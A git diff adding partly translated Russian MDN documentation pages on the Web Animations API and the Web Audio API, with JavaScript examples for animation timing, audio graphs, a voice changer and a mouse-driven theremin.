+ +
duration: aliceChange.effect.timing.duration / 2
+ +

Чтобы понять, что здесь происходит, давайте посмотрим на анимацию Алисы:

+ +
var aliceChange = document.getElementById('alice').animate(
+  [
+    { transform: 'translate(-50%, -50%) scale(.5)' },
+    { transform: 'translate(-50%, -50%) scale(2)' }
+  ], {
+    duration: 8000,
+    easing: 'ease-in-out',
+    fill: 'both'
+  });
+ +

Изменение размера Алисы в два раза происходит за 8 секунд. Затем мы останавливаем ее:

+ +
aliceChange.pause();
+ +

Если бы оставили ее на паузе в начале анимации , то Алиса увеличилась бы в два раза, когда выпила бы всю бутылку. Мы хотим остановить ее анимацию "воспроизведение" в середине, когда она уже на половину выполнена. Мы могли бы это сделать, установив {{domxref("Animation.currentTime")}} 4 секунды, вот так:

+ +
aliceChange.currentTime = 4000;
+ +

Но во время работы над этой анимацией мы можем сильно увеличить ее продолжительность. Разве не лучше установить динамическое изменение времени (currentTime), тогда нам не придется делать два обновления за один раз. Мы можем это сделать с помощью ссылки на изменение свойства размера Алисы (aliceChange) {{domxref("Animation.effect")}} который возвращает все детали и действующие эффекты, содержащиеся в объекте, на Алису:

+ +
aliceChange.currentTime = aliceChange.effect.timing.duration / 2;
+ +

эффекты позволяют нам получить доступ к анимации keyframe (кадров) и синхронности объектов - aliceChange.effect.timing , указывающий на время Алисиных элементов (котрые имеют тип {{domxref("AnimationEffectTimingReadOnly")}}) — в этом содержиться ее {{domxref("AnimationEffectTimingReadOnly.duration")}}. Мы можем распределить ее длительность на два раза, чтобы получить среднюю точку во временной шкале для установки нормального роста.

+ +

Теперь мы можем запустить ее в обратном порядке и играться анимацией в любом направлении, чтобы заставить ее расти или уменьшаться

+ +
var drinking = document.getElementById('liquid').animate(
+[
+  { height: '100%' },
+  { height: '0' }
+], {
+  fill: 'forwards',
+  duration: aliceChange.effect.timing.duration / 2
+});
+drinking.pause();
+ +

И мы можем сделать тоже самое при установки длительности анимации на кексе или бутылке.

+ +

Теперь все три анимации связаны только с одной продолжительности, и мы можем легко переходить из одного места.

+ +

Мы также можем использовать веб-анимации API, чтобы выяснить Текущее время анимации. Игра заканчивается, когда вы бежите от съеденого торта или выпитой бутылки. Изображение у игрока будет зависить от анимации Алисы. Стала ли она слишком большой на фоне крошечной двери и не может в нее пройти или слишком маленькой и не может достать ключ, чтобы открыть дверь. Мы можем выяснить, стала она большой или маленький в конце ее анимация, получая текущее время ее анимации currentTime и разделив ее на activeDuration:

+ +
var endGame = function() {
+
+  // get Alice's timeline's playhead location
+  var alicePlayhead = aliceChange.currentTime;
+  var aliceTimeline = aliceChange.effect.activeDuration;
+
+  // stops Alice's and other animations
+  stopPlayingAlice();
+
+  // depending on which third it falls into
+  var aliceHeight = alicePlayhead/aliceTimeline;
+
+  if (aliceHeight <= .333){
+    // Alice got smaller!
+    ...
+
+  } else if (aliceHeight >= .666) {
+    // Alice got bigger!
+    ...
+
+  } else {
+    // Alice didn't change significantly
+    ...
+
+  }
+}
+
+ +
+

Примечание: getAnimations() и эффект не полностью поддерживаются на момент написания этой статьи, но polyfill  поддерживает их уже сегодня.

+
+ +

Обратные вызовы и обещания

+ +

CSS Animations и Transitions (переходы) имеют свои события и они также могут быть воспроизведены и в Web Animations API:

+ + + +

Здесь мы устанавливаем обратный вызов для бутылки, кекса и Алисы, чтобы запустить функцию endGame.

+ +
// When the cake or runs out...
+nommingCake.onfinish = endGame;
+drinking.onfinish = endGame;
+
+// ...or Alice reaches the end of her animation
+aliceChange.onfinish = endGame;
+
+
+ +

Нравится перспектива? Web Animations API также дает две перспективы: onfinish и oncancel.

+ +
+

Эти обещания не полностью поддерживаются в настоящий момент.

+
+ +

Заключение

+ +

Таковы основные особенности веб-анимации API, большинство из которых уже поддерживается в последних версиях Firefox и Chrome. К этому моменту вы должны быть готовы к "прыжку в кроличью нору" анимации в браузере и готовы написать свои собственные эксперименты в анимации! Если вы используете API и хотите поделиться, попробуйте использовать хэштег #WAAPI. Мы будем следить и писать другие учебники, чтобы охватить будущие дополнительные функции, в виде поддержки распространяя!

+ +

Посмотрите также

+ + diff --git a/files/ru/web/api/web_audio_api/index.html b/files/ru/web/api/web_audio_api/index.html new file mode 100644 index 0000000000..1cdd6d43b5 --- /dev/null +++ b/files/ru/web/api/web_audio_api/index.html @@ -0,0 +1,508 @@ +--- +title: Web Audio API +slug: Web/API/Web_Audio_API +tags: + - API + - Guide + - NeedsTranslation + - Reference + - Référence(2) + - TopicStub + - Web Audio API +translation_of: Web/API/Web_Audio_API +--- +
+

Web audio API - мощный и многогранный инструмент для манипуляции звуковой составляющей на веб-странице, что дает возможность разработчикам выбрать источники, добавить к ним специальные звуковые эффекты (такие как panning), визуализировать их и многое другое.

+
+ +

Общие концепции и использование Web Audio

+ +

Web audio API позволяет обрабатывать операции над аудио с помощью специального аудио контекста (audio context), и был спроектирован на использование модульной маршрутизации (modular routing). Базовые операции выполняются с помощью аудио узлов (audio nodes), которые объединяются вместе, формируя аудио-маршрутизаторную *таблицу (audio routing graph). Несколько источников - с разными видами поточных схем - поддерживаются даже изнутри простого контекста. Эта модульная концепция обеспечивает гибкость в создании сложных функций для динамических эффектов.

+ +

Аудио узлы объединяются в цепи и простые сети их вводами и выводами. Они, как правило, запускаются с одним или более источниками. Источники представляют собой массивы сэмплов на единицу времени. Например, при частоте дискретизации 44100 Гц, в каждой секунде каждого канала расположено 22050 сэмплов. Они могут быть либо  обработаны математически (смотрите : OscillatorNode), либо считаны с звуко/видео файлов (смотрите : AudioBufferSourceNode и  MediaElementAudioSourceNode) или с аудио потоков (смотрите : MediaStreamAudioSourceNode). По факту, звуковые файлы - просто запись звуковых колебаний, которые поступают от микрофона и музыкальных инструментов, смешиваясь в одну сложную волну. Выводные данные этих узлов могут быть связаны с вводными других, что смешивают или модифицируют потоки звуковых образцов в инные потоки. Популярная модификация - умножение образца на значение, чтобы сделать выходной звук менее или более громким (смотрите : GainMode). Когда звук был успешно обработан предназначеным ему эффектом, он может быть привязан к выходному потоку (смотрите : AudioContext.destination), что направляет звук в динамики или микрофон. Данный шаг нужен лишь если вы предпочтёте дать возможность пользователю услышать ваши шедевры.

+ +

Простой, типичный порядок действий выполнения манипуляций над аудио выглядит так :

+ +
    +
  1. Создадим аудио контекст
    2. +
  2. Внутри нашего контекста определим источники - такие как <audio>, генератор (oscillator), поток
    3. +
  3. Определим узлы эффектов, такие как реверберация (reverb), биквадратный фильтр (biquad filter), панораммирование (panner), сжатие (compressor)
    4. +
  4. Выберем конечную точку аудио сигнала, например ваши системные звуковые устройства
    5. +
  5. Привяжем наши источники к эффектам, и эффекты к конечному сигналу.
    6. +
+ +

A simple box diagram with an outer box labeled Audio context, and three inner boxes labeled Sources, Effects and Destination. The three inner boxes have arrow between them pointing from left to right, indicating the flow of audio information.

+ +

Распределение времени контролируется с высокой точностью и низкими задержками, позволяя разработчикам писать код, что точно реагирует на события и в состоянии обработать образец даже на высокой оценке образцов (sample rate). Так что такие приложения как ритм-компьютер и програмный автомат всегда под рукой.

+ +

Web audio API также даёт нам возможность контролировать то, каким аудио является в пространстве. Используя особую систему, что базируется
+ на модели source-listener, он позволяет контролировать модель панораммирования и обходиться без дистанционно-вызваного ослабления (distance-induced attenuation) или duppler shift, вызванного сдвигом источника (или сдвигом слушателя).

+ +
+

Помните: Вы можете прочитать более детальный теоритический материал о Web audio API в нашей статье Basic concepts behind Web Audio API.

+
+ +

Web Audio API интерфейсы

+ +

В Web audio API есть всего 28 интерфейсов и соответствующих событий, которые мы cгруппировали в 9 категорий по функциональности.

+ +

Главные объекты определения аудио

+ +

Главные контейнеры и определения, что формируют аудио объект в Web Audio API.

+ +
+
{{domxref("AudioContext")}}
+
AudioContext представляет собой некий аудио обрабатывающий объект, сооруженный из аудио модулей связаных вместе, где каждый является экземпляром класса {{domxref("AudioNode")}}. AudioContext управляет созданием узлов, содержащихся в нём и выполняет обработку или декодирование аудио данных.
+
{{domxref("AudioNode")}}
+
Интерфейс AudioNode представляет собой некий обрабатывающий  модуль такой как источник аудио  (то есть HTML <audio> или <video> елемент), конечный аудио объект, модуль непосредственной обработки (например фильтр BiquadFilterNode или звуковой контроллер такой как GainNode).
+
{{domxref("AudioParam")}}
+
Интерфейс AudioParam представляет аудио-параметры связанные с {{domxref("AudioNode")}}. Он может содержать как точное значение параметра, так и параметры изменяющиеся во времени.
+
{{event("ended_(Web_Audio)", "ended")}} (event)
+
Событие ended генерируется тогда, когда воспроизведение остановлено по причине окончания носителя.
+
+
+ +

Источники звука

+ +

Интерфейсы, которые определяют источники звука для использования в Web Audio API.

+ +
+
{{domxref("OscillatorNode")}}
+
OscillatorNode представляет собой источник синусоидальной волны. Это модуль {{domxref("AudioNode")}} который принимает на вход частоту и генерирует синусоидальную волну с этой частотой.
+
{{domxref("AudioBuffer")}}
+
Интерфейс AudioBuffer представляет собой короткий аудио сэмпл находящийся в памяти, созданный из аудио файла с использованием метода {{ domxref("AudioContext.decodeAudioData()") }}, или созданный из необработанных(сырых) данных с использованием метода {{ domxref("AudioContext.createBuffer()") }}. После декодирования аудио данные могут быть помещены в {{ domxref("AudioBufferSourceNode") }}.
+
{{domxref("AudioBufferSourceNode")}}
+
Интерфейс AudioBufferSourceNode представляет собой источник звука, состоящий из аудио данных, хранящихся в {{domxref("AudioBuffer")}}. Это {{domxref("AudioNode")}}, который действует в качестве источника звука.
+
{{domxref("MediaElementAudioSourceNode")}}
+
Интерфейс MediaElementAudioSourceNode представляет источник звука, содержащегося в элементе HTML5 {{ htmlelement("audio") }} или {{ htmlelement("video") }} .  Это {{domxref("AudioNode")}}, который действует в качестве источника звука.
+
{{domxref("MediaStreamAudioSourceNode")}}
+
Интерфейс MediaStreamAudioSourceNode представляет источник звука, содержащегося в потоке  WebRTC {{domxref("MediaStream")}} (например веб-камеры или микрофона). Это {{domxref("AudioNode")}}, который действует в качестве источника звука.
+
+ +

Аудио фильтры

+ +

Интерфейсы для определения эффектов которые можно применить к источникам звука.

+ +
+
{{domxref("BiquadFilterNode")}}
+
BiquadFilterNode представляет простой фильтр низкого порядка. Это {{domxref("AudioNode")}} представляющий различные виды фильтров такие как эквалайзер или управление тональностью. BiquadFilterNode имеет ровно один вход и один выход.
+
{{domxref("ConvolverNode")}}
+
ConvolverNode это {{domxref("AudioNode")}} выполняющий линейную свертку AudioBuffer, часто применяется для достижения эффекта реверберации по заданной импульсной характеристике.
+
{{domxref("DelayNode")}}
+
DelayNode представляет собой линию задержки (delay-line); содержит {{domxref("AudioNode")}} вызывающий задержку между выходным и входным сигналом.
+
{{domxref("DynamicsCompressorNode")}}
+
The DynamicsCompressorNode interface provides a compression effect, which lowers the volume of the loudest parts of the signal in order to help prevent clipping and distortion that can occur when multiple sounds are played and multiplexed together at once.
+
{{domxref("GainNode")}}
+
The GainNode interface represents a change in volume. It is an {{domxref("AudioNode")}} audio-processing module that causes a given gain to be applied to the input data before its propagation to the output.
+
{{domxref("StereoPannerNode")}}
+
The StereoPannerNode interface represents a simple stereo panner node  that can be used to pan an audio stream left or right.
+
{{domxref("WaveShaperNode")}}
+
The WaveShaperNode interface represents a non-linear distorter. It is an {{domxref("AudioNode")}} that use a curve to apply a waveshaping distortion to the signal. Beside obvious distortion effects, it is often used to add a warm feeling to the signal.
+
{{domxref("PeriodicWave")}}
+
Used to define a periodic waveform that can be used to shape the output of an {{ domxref("OscillatorNode") }}.
+
+ +

Defining audio destinations

+ +

Once you are done processing your audio, these interfaces define where to output it.

+ +
+
{{domxref("AudioDestinationNode")}}
+
The AudioDestinationNode interface represents the end destination of an audio source in a given context — usually the speakers of your device.
+
{{domxref("MediaStreamAudioDestinationNode")}}
+
The MediaStreamAudioDestinationNode interface represents an audio destination consisting of a WebRTC {{domxref("MediaStream")}} with a single AudioMediaStreamTrack, which can be used in a similar way to a MediaStream obtained from {{ domxref("Navigator.getUserMedia") }}. It is an {{domxref("AudioNode")}} that acts as an audio destination.
+
+ +

Анализ и визуализация данных

+ +

If you want to extract time, frequency and other data from your audio, the AnalyserNode is what you need.

+ +
+
{{domxref("AnalyserNode")}}
+
The AnalyserNode interface represents a node able to provide real-time frequency and time-domain analysis information, for the purposes of data analysis and visualization.
+
+ +

Splitting and merging audio channels

+ +

To split and merge audio channels, you'll use these interfaces.

+ +
+
{{domxref("ChannelSplitterNode")}}
+
The ChannelSplitterNode interface separates the different channels of an audio source out into a set of mono outputs.
+
{{domxref("ChannelMergerNode")}}
+
The ChannelMergerNode interface reunites different mono inputs into a single output. Each input will be used to fill a channel of the output.
+
+ +

Audio spatialization

+ +

These interfaces allow you to add audio spatialization panning effects to your audio sources.

+ +
+
{{domxref("AudioListener")}}
+
The AudioListener interface represents the position and orientation of the unique person listening to the audio scene used in audio spatialization.
+
{{domxref("PannerNode")}}
+
The PannerNode interface represents the behavior of a signal in space. It is an {{domxref("AudioNode")}} audio-processing module describing its position with right-hand Cartesian coordinates, its movement using a velocity vector and its directionality using a directionality cone.
+
+ +

Audio processing via JavaScript

+ +

If you want to use an external script to process your audio source, the below Node and events make it possible.

+ +
+

Note: As of the August 29 2014 Web Audio API spec publication, these features have been marked as deprecated, and are soon to be replaced by {{ anch("Audio_Workers") }}.

+
+ +
+
{{domxref("ScriptProcessorNode")}}
+
The ScriptProcessorNode interface allows the generation, processing, or analyzing of audio using JavaScript. It is an {{domxref("AudioNode")}} audio-processing module that is linked to two buffers, one containing the current input, one containing the output. An event, implementing the {{domxref("AudioProcessingEvent")}} interface, is sent to the object each time the input buffer contains new data, and the event handler terminates when it has filled the output buffer with data.
+
{{event("audioprocess")}} (event)
+
The audioprocess event is fired when an input buffer of a Web Audio API {{domxref("ScriptProcessorNode")}} is ready to be processed.
+
{{domxref("AudioProcessingEvent")}}
+
The Web Audio API AudioProcessingEvent represents events that occur when a {{domxref("ScriptProcessorNode")}} input buffer is ready to be processed.
+
+ +

Offline/background audio processing

+ +

It is possible to process/render an audio graph very quickly in the background — rendering it to an {{domxref("AudioBuffer")}} rather than to the device's speakers — with the following.

+ +
+
{{domxref("OfflineAudioContext")}}
+
The OfflineAudioContext interface is an {{domxref("AudioContext")}} interface representing an audio-processing graph built from linked together {{domxref("AudioNode")}}s. In contrast with a standard AudioContext, an OfflineAudioContext doesn't really render the audio but rather generates it, as fast as it can, in a buffer.
+
{{event("complete")}} (event)
+
The complete event is fired when the rendering of an {{domxref("OfflineAudioContext")}} is terminated.
+
{{domxref("OfflineAudioCompletionEvent")}}
+
The OfflineAudioCompletionEvent represents events that occur when the processing of an {{domxref("OfflineAudioContext")}} is terminated. The {{event("complete")}} event implements this interface.
+
+ +

Audio Workers

+ +

Audio workers provide the ability for direct scripted audio processing to be done inside a web worker context, and are defined by a couple of interfaces (new as of 29th August 2014.) These are not implemented in any browsers yet. When implemented, they will replace {{domxref("ScriptProcessorNode")}}, and the other features discussed in the Audio processing via JavaScript section above.

+ +
+
{{domxref("AudioWorkerNode")}}
+
The AudioWorkerNode interface represents an {{domxref("AudioNode")}} that interacts with a worker thread to generate, process, or analyse audio directly.
+
{{domxref("AudioWorkerGlobalScope")}}
+
The AudioWorkerGlobalScope interface is a DedicatedWorkerGlobalScope-derived object representing a worker context in which an audio processing script is run; it is designed to enable the generation, processing, and analysis of audio data directly using JavaScript in a worker thread.
+
{{domxref("AudioProcessEvent")}}
+
This is an Event object that is dispatched to {{domxref("AudioWorkerGlobalScope")}} objects to perform processing.
+
+ +

Obsolete interfaces

+ +

The following interfaces were defined in old versions of the Web Audio API spec, but are now obsolete and have been replaced by other interfaces.

+ +
+
{{domxref("JavaScriptNode")}}
+
Used for direct audio processing via JavaScript. This interface is obsolete, and has been replaced by {{domxref("ScriptProcessorNode")}}.
+
{{domxref("WaveTableNode")}}
+
Used to define a periodic waveform. This interface is obsolete, and has been replaced by {{domxref("PeriodicWave")}}.
+
+ +

Пример

+ +

This example shows a wide variety of Web Audio API functions being used. You can see this code in action on the Voice-change-o-matic demo (also check out the full source code at Github) — this is an experimental voice changer toy demo; keep your speakers turned down low when you use it, at least to start!

+ +

The Web Audio API lines are highlighted; if you want to find more out about what the different methods, etc. do, have a search around the reference pages.

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); // define audio context
+// Webkit/blink browsers need prefix, Safari won't work without window.
+
+var voiceSelect = document.getElementById("voice"); // select box for selecting voice effect options
+var visualSelect = document.getElementById("visual"); // select box for selecting audio visualization options
+var mute = document.querySelector('.mute'); // mute button
+var drawVisual; // requestAnimationFrame
+
+var analyser = audioCtx.createAnalyser();
+var distortion = audioCtx.createWaveShaper();
+var gainNode = audioCtx.createGain();
+var biquadFilter = audioCtx.createBiquadFilter();
+
+function makeDistortionCurve(amount) { // function to make curve shape for distortion/wave shaper node to use
+  var k = typeof amount === 'number' ? amount : 50,
+    n_samples = 44100,
+    curve = new Float32Array(n_samples),
+    deg = Math.PI / 180,
+    i = 0,
+    x;
+  for ( ; i < n_samples; ++i ) {
+    x = i * 2 / n_samples - 1;
+    curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.abs(x) );
+  }
+  return curve;
+};
+
+navigator.getUserMedia (
+  // constraints - only audio needed for this app
+  {
+    audio: true
+  },
+
+  // Success callback
+  function(stream) {
+    source = audioCtx.createMediaStreamSource(stream);
+    source.connect(analyser);
+    analyser.connect(distortion);
+    distortion.connect(biquadFilter);
+    biquadFilter.connect(gainNode);
+    gainNode.connect(audioCtx.destination); // connecting the different audio graph nodes together
+
+    visualize(stream);
+    voiceChange();
+
+  },
+
+  // Error callback
+  function(err) {
+    console.log('The following gUM error occured: ' + err);
+  }
+);
+
+function visualize(stream) {
+  WIDTH = canvas.width;
+  HEIGHT = canvas.height;
+
+  var visualSetting = visualSelect.value;
+  console.log(visualSetting);
+
+  if(visualSetting == "sinewave") {
+    analyser.fftSize = 2048;
+    var bufferLength = analyser.frequencyBinCount; // half the FFT value
+    var dataArray = new Uint8Array(bufferLength); // create an array to store the data
+
+    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+
+    function draw() {
+
+      drawVisual = requestAnimationFrame(draw);
+
+      analyser.getByteTimeDomainData(dataArray); // get waveform data and put it into the array created above
+
+      canvasCtx.fillStyle = 'rgb(200, 200, 200)'; // draw wave with canvas
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
+      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();
+
+      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;
+
+      for(var i = 0; i < bufferLength; i++) {
+
+        var v = dataArray[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }
+
+      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };
+
+    draw();
+
+  } else if(visualSetting == "off") {
+    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+    canvasCtx.fillStyle = "red";
+    canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+  }
+
+}
+
+function voiceChange() {
+  distortion.curve = new Float32Array;
+  biquadFilter.gain.value = 0; // reset the effects each time the voiceChange function is run
+
+  var voiceSetting = voiceSelect.value;
+  console.log(voiceSetting);
+
+  if(voiceSetting == "distortion") {
+    distortion.curve = makeDistortionCurve(400); // apply distortion to sound using waveshaper node
+  } else if(voiceSetting == "biquad") {
+    biquadFilter.type = "lowshelf";
+    biquadFilter.frequency.value = 1000;
+    biquadFilter.gain.value = 25; // apply lowshelf filter to sounds using biquad
+  } else if(voiceSetting == "off") {
+    console.log("Voice settings turned off"); // do nothing, as off option was chosen
+  }
+
+}
+
+// event listeners to change visualize and voice settings
+
+visualSelect.onchange = function() {
+  window.cancelAnimationFrame(drawVisual);
+  visualize(stream);
+}
+
+voiceSelect.onchange = function() {
+  voiceChange();
+}
+
+mute.onclick = voiceMute;
+
+function voiceMute() { // toggle to mute and unmute sound
+  if(mute.id == "") {
+    gainNode.gain.value = 0; // gain set to 0 to mute sound
+    mute.id = "activated";
+    mute.innerHTML = "Unmute";
+  } else {
+    gainNode.gain.value = 1; // gain set to 1 to unmute sound
+    mute.id = "";
+    mute.innerHTML = "Mute";
+  }
+}
+
+ +

Определения

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API')}}{{Spec2('Web Audio API')}}
+ +

Поддержка браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка14 {{property_prefix("webkit")}}{{CompatVersionUnknown}}23{{CompatNo}}15 {{property_prefix("webkit")}}
+ 22 (unprefixed)		6 {{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}}28 {{property_prefix("webkit")}}251.2{{CompatNo}}{{CompatNo}}6 {{property_prefix("webkit")}}
+
+ +

Смотрите также

+ + + + diff --git a/files/ru/web/api/web_audio_api/using_web_audio_api/index.html b/files/ru/web/api/web_audio_api/using_web_audio_api/index.html new file mode 100644 index 0000000000..056ebde044 --- /dev/null +++ b/files/ru/web/api/web_audio_api/using_web_audio_api/index.html @@ -0,0 +1,281 @@ +--- +title: Используем Web Audio API +slug: Web/API/Web_Audio_API/Using_Web_Audio_API +translation_of: Web/API/Web_Audio_API/Using_Web_Audio_API +--- +
+

Web Audio API обеспечивает простой, но мощный механизм реализации и управления аудио-контентом внутри web приложения. Это позволяет разрабатывать сложные аудио миксины, эффекты и т.д. В этой статье мы постараемся обьяснить основы использования Web Audio API, посредством пары простых примеров.

+
+ +
+

The Web Audio API does not replace the <audio> media element, but rather complements it, just like <canvas> co-exists well alongside the <img> element. What you use to implement audio depends on your use case. If you just want to control playback of a simple audio track, <audio> is probably a better, quicker solution. If you want to carry out more complex audio processing, as well as playback, Web Audio API provides much more power and control.

+ +

One very powerful thing about the Web Audio API is that it does not have any strict "sound call limitations". There is no ceiling of 32 or 64 sound calls at one time, for example. Depending on the power of your processor, you might be able to get a thousand or more sounds playing simultaneously without stuttering. This shows real progress, given that a few years ago mid to high range sound cards were able to handle only a fraction of this load.

+
+ +

Examples

+ +

To demonstrate usage of the Web Audio API, we created a number of examples which will be added to as time goes on. Please feel free to add to them and suggest improvements!

+ +

First off, we created the Voice-change-O-matic, a fun voice changer and sound visualisation web app, which allows you to choose different effects and visualisations. This could definitely be improved on with better quality effects, but it demonstrates the usage of multiple Web Audio API features together (run the Voice-change-O-matic live).

+ +

A UI with a sound wave being shown, and options for choosing voice effects and visualizations.

+ +

Another example we've created on our quest to understand the Web Audio is the Violent Theremin, a simple app allowing you to change the pitch and volume by moving your mouse pointer. It also provides a psychedelic lightshow (see Violent Theremin source code).

+ +

A page full of rainbow colours, with two buttons labeled Clear screen and mute.

+ +

Basic concepts

+ +
+

Note: most of the code snippets in this example are taken from the Violent Theremin example.

+
+ +

The Web Audio API involves handling audio operations inside an audio context, and has been designed to allow modular routing. Basic audio operations are performed with audio nodes, which are linked together to form an audio routing graph. Several sources — with different types of channel layouts — are supported even within a single context. This modular design provides the flexibility to create complex audio functions with dynamic effects.

+ +

Audio nodes are linked via their inputs and outputs, forming a chain that starts with one or more sources, goes through one or more nodes, then ends up at a destination (although you don't have to provide a destination if you, say, just want to visualise some audio data). A simple, typical workflow for web audio would look something like this:

+ +
    +
  1. Create audio context
    2. +
  2. Inside the context, create sources — such as <audio>, oscillator, stream
    3. +
  3. Create effects nodes, such as reverb, biquad filter, panner, compressor
    4. +
  4. Choose final destination of audio, for example your system speakers
    5. +
  5. Connect the sources up to the effects, and the effects to the destination
    6. +
+ +

Creating an audio context

+ +

First, you will need to create an instance of AudioContext to build an audio graph upon. The simplest example of this would look like so:

+ +
var audioCtx = new AudioContext();
+
+ +
+

Note: Multiple audio context instances are allowed on the same document, but are likely wasteful.

+
+ +

However, it is important to provide a prefixed version for Webkit/Blink browsers, and a non-prefixed version for Firefox (desktop/mobile/OS). Something like this would work:

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+
+ +
+

Note: Safari can break if you don't explcitly mention the window object when creating a new context!

+
+ +

Creating an audio source

+ +

Now we have an audio context, and we can use the methods of this context to do most everything else. The first thing we need is an audio source to play around with. Audio sources can come from a variety of places:

+ + + +

For this particular example we'll just create an oscillator to provide a simple tone for our source, and a gain node to control sound volume:

+ +
oscillator = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+
+ +
+

Note: To play a music file directly, you generally have to load the file using XHR, decode the file into a buffer, and then feed that buffer into a buffer source. See this example from Voice-change-O-matic.

+
+ +
+

Note: Scott Michaud has written a useful helper library for loading and decoding one or more audio samples, called AudioSampleLoader. This can help simplify the XHR/buffering process described in the above note.

+
+ +

Linking source and destination together

+ +

To actually output the tone through your speakers, you need to link them together. This is done by calling the connect method on the node you want to connect from, which is available on most node types. The node that you want to connect to is given as the argument of the connect method.

+ +

The default output mechanism of your device (usually your device speakers) is accessed using {{ domxref("AudioContext.destination") }}. To connect the oscillator, gain node and destination together, we would use the following:

+ +
oscillator.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+ +

In a more complex example (such as the Voice-change-O-matic), you can chain together as many nodes as you want. For example:

+ +
source = audioCtx.createMediaStreamSource(stream);
+source.connect(analyser);
+analyser.connect(distortion);
+distortion.connect(biquadFilter);
+biquadFilter.connect(convolver);
+convolver.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+ +

This would create an audio graph like this:

+ +

You can also link multiple nodes to one node, for example if you wanted to mix multiple audio sources together, passing them all through a single effect node, like a gain node.

+ +
+

Note: From Firefox 32 onwards, the integrated Firefox Developer Tools include a Web Audio Editor, which is very useful for debugging web audio graphs.

+
+ +

Playing our sound and setting a pitch

+ +

Now that the audio graph is set up, we can set property values and invoke methods on our audio nodes to adjust the effect they have on the sound. In this simple example we can set a specific pitch in hertz for our oscillator, set it to a specific type, and tell our sound to play like so:

+ +
oscillator.type = 'sine'; // sine wave — other values are 'square', 'sawtooth', 'triangle' and 'custom'
+oscillator.frequency.value = 2500; // value in hertz
+oscillator.start();
+
+ +

In our Violent Theremin example we actually specify a max gain and frequency value:

+ +
var WIDTH = window.innerWidth;
+var HEIGHT = window.innerHeight;
+
+var maxFreq = 6000;
+var maxVol = 1;
+
+var initialFreq = 3000;
+var initialVol = 0.5;
+
+// set options for the oscillator
+
+oscillator.type = 'sine'; // sine wave — other values are 'square', 'sawtooth', 'triangle' and 'custom'
+oscillator.frequency.value = initialFreq; // value in hertz
+oscillator.start();
+
+gainNode.gain.value = initialVol;
+
+ +

Then we set a new value of frequency and pitch every time the mouse cursor is moved, based on the current mouse X and Y value as a percetage of the maximum frequency and gain:

+ +
// Mouse pointer coordinates
+
+var CurX;
+var CurY;
+
+// Get new mouse pointer coordinates when mouse is moved
+// then set new gain and putch values
+
+document.onmousemove = updatePage;
+
+function updatePage(e) {
+    CurX = (window.Event) ? e.pageX : event.clientX + (document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft);
+    CurY = (window.Event) ? e.pageY : event.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop);
+
+    oscillator.frequency.value = (CurX/WIDTH) * maxFreq;
+    gainNode.gain.value = (CurY/HEIGHT) * maxVol;
+
+    canvasDraw();
+}
+
+ +

A simple canvas visualization

+ +

A canvasDraw() function is also invoked after each mouse movement, this draws a little cluster of circles where the mouse pointer currently is, the size and colour of which are based on the frequency/gain values.

+ +
function random(number1,number2) {
+  var randomNo = number1 + (Math.floor(Math.random() * (number2 - number1)) + 1);
+  return randomNo;
+}
+
+var canvas = document.querySelector('.canvas');
+canvas.width = WIDTH;
+canvas.height = HEIGHT;
+
+var canvasCtx = canvas.getContext('2d');
+
+function canvasDraw() {
+  rX = CurX;
+  rY = CurY;
+  rC = Math.floor((gainNode.gain.value/maxVol)*30);
+
+  canvasCtx.globalAlpha = 0.2;
+
+  for(i=1;i<=15;i=i+2) {
+    canvasCtx.beginPath();
+    canvasCtx.fillStyle = 'rgb(' + 100+(i*10) + ',' + Math.floor((gainNode.gain.value/maxVol)*255) + ',' + Math.floor((oscillator.frequency.value/maxFreq)*255) + ')';
+    canvasCtx.arc(rX+random(0,50),rY+random(0,50),rC/2+i,(Math.PI/180)*0,(Math.PI/180)*360,false);
+    canvasCtx.fill();
+    canvasCtx.closePath();
+  }
+}
+ +

Muting the theremin

+ +

When the Mute button is pressed, the function seen below is invoked, which disconnects the gain node from the destination node, effectively breaking the graph up so no sound can be produced. Pressing it again reverses the effect.

+ +
var mute = document.querySelector('.mute');
+
+mute.onclick = function() {
+  if(mute.id == "") {
+    gainNode.disconnect(audioCtx.destination);
+    mute.id = "activated";
+    mute.innerHTML = "Unmute";
+  } else {
+    gainNode.connect(audioCtx.destination);
+    mute.id = "";
+    mute.innerHTML = "Mute";
+  }
+}
+
+ +

Other node options

+ +

There are many other nodes you can create using the Web Audio API, and the good news is that, in general, they work in the same way as what we have already seen: you create a node, connect it to the other nodes in the graph, and then manipulate that node's properties and methods to affect the sound source in the way you want.

+ +

We won't go through all of the available effects and so on; you can find details of how to use each one in the different interface reference pages of the {{ domxref("Web_Audio_API") }} reference. For now we'll just go through a couple of options.

+ +

Wave shaper nodes

+ +

You can create a wave shaper node using the {{ domxref("AudioContext.createWaveShaper") }} method:

+ +
var distortion = audioCtx.createWaveShaper();
+
+ +

